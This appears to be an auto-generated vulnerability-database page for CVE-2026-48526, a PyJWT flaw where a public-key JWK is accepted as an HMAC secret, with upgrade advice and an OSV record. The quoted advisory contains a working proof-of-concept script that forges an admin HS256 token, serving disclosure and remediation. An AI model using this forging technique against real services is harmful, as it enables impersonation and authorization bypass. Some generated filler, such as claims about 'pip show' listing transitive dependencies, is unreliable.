CVE-2026-48526: PyJWT Public-key JWK Accepted As HMAC Vulnerability

HIGH
Advisory Identifier: GHSA-xgmm-8j9v-c9wx
CVSS 7.4
CWE-287 CWE-347
Published
Advisory Summary

CVE-2026-48526 is a HIGH (CVSS 7.4) public-key jwk accepted as hmac vulnerability (CWE-287: Improper Authentication) affecting PyJWT libraries in the PyPI ecosystem. The issue involves public-key jwk accepted as hmac secret enables forged hs256 tokens when mixed families are allowed. Remediation is available by upgrading affected packages to version 2.13.0.

CVE-2026-48526 at a Glance

CVE Identifier CVE-2026-48526
GHSA Identifier GHSA-xgmm-8j9v-c9wx
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-287: Improper Authentication
Affected Product PyJWT
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-48526

To remediate this vulnerability, upgrade all affected PyJWT dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyjwt fixed: 2.13.0
pip install pyjwt>=2.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyjwt

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-48526, inspect your installed packages using pip:

pip show pyjwt

Analyze the terminal output to locate any version of PyJWT in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.

Note: The pip show pyjwt command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In PyJWT, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

> [!NOTE] > Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating. ### Summary When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. ### Details In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example: `jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) ` An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. If we look on current protections implemented in the library, at class HMACAlgorithm: ``` def prepare_key(self, key: str | bytes) -> bytes: key_bytes = force_bytes(key) if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) return key_bytes ``` We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation. In The following example: `jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) ` There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key. ### PoC Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}') ``` from jwt.api_jws import PyJWS import json, base64, hmac, hashlib def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=") # Public RSA JWK (public by design) rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"}) # Attacker-crafted token: flip to HS256 and choose claims header = b64u(b'{"alg":"HS256","typ":"JWT"}') payload = b64u(b'{"sub":"alice","admin":true}') signing = header + b"." + payload # Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret” sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest() token = (signing + b"." + b64u(sig)).decode() # Vulnerable verifier: mixed families + JWK JSON string as key jws = PyJWS() print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) # -> b'{"sub":"alice","admin":true}' ``` ### Impact Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

CVE-2026-48526 Affected PyJWT Versions

1 component(s)
Fixed Versions:
2.13.0
Product / Package Ecosystem Affected Versions Fixed Version
pyjwt
PyPI
< 2.13.0
2.13.0

References

Frequently Asked Questions

What is CVE-2026-48526?
CVE-2026-48526 is a security vulnerability in PyJWT involving Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed under CWE-287: Improper Authentication.
Which PyJWT versions are affected?
Affected versions include releases prior to 2.13.0 across affected packages: pyjwt.
What version fixes CVE-2026-48526?
Upgrading to 2.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyjwt affected?
Yes, pyjwt is affected in releases prior to 2.13.0. Upgrade your dependency to 2.13.0 or later.
What is the CVSS score of CVE-2026-48526?
CVE-2026-48526 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-48526?
CVE-2026-48526 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check PyPI dependencies for CVE-2026-48526?
Run the dependency tree command: 'pip show pyjwt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xgmm-8j9v-c9wx",
  "modified" : "2026-06-15T19:28:06Z",
  "published" : "2026-06-15T19:28:06Z",
  "aliases" : [ "CVE-2026-48526" ],
  "summary" : "PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed",
  "details" : "> [!NOTE]\n> Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.\n\n### Summary\nWhen the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.   \n\n### Details\nIn JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.\nIn pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:\n  \n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\n\nAn attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. \nThe attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. \n\nIf we look on current protections implemented in the library, at class HMACAlgorithm:\n\n```\n  def prepare_key(self, key: str | bytes) -> bytes:\n        key_bytes = force_bytes(key)\n\n        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n            raise InvalidKeyError(\n                \"The specified key is an asymmetric key or x509 certificate and\"\n                \" should not be used as an HMAC secret.\"\n            )\n\n        return key_bytes\n```\nWe can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.\n\nIn The following example:\n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\nThere is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. \n\nThe bypass happens only if the verifier:\n (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.\n\n### PoC\nPlease run the code and observe the payload printed in clear text({\"sub\":\"alice\",\"admin\":true}')\n\n```\nfrom jwt.api_jws import PyJWS\nimport json, base64, hmac, hashlib\n\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# Public RSA JWK (public by design)\nrsa_jwk_json = json.dumps({\"kty\":\"RSA\",\"n\":\"AQAB\",\"e\":\"AQAB\"})\n\n# Attacker-crafted token: flip to HS256 and choose claims\nheader  = b64u(b'{\"alg\":\"HS256\",\"typ\":\"JWT\"}')\npayload = b64u(b'{\"sub\":\"alice\",\"admin\":true}')\nsigning = header + b\".\" + payload\n\n# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”\nsig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()\ntoken = (signing + b\".\" + b64u(sig)).decode()\n\n# Vulnerable verifier: mixed families + JWK JSON string as key\njws = PyJWS()\nprint(jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"]))\n# -> b'{\"sub\":\"alice\",\"admin\":true}'\n```\n\n\n### Impact\nUnauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyjwt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.13.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jpadilla/pyjwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-347" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T19:28:06Z",
    "nvd_published_at" : "2026-05-28T16:16:29Z"
  }
}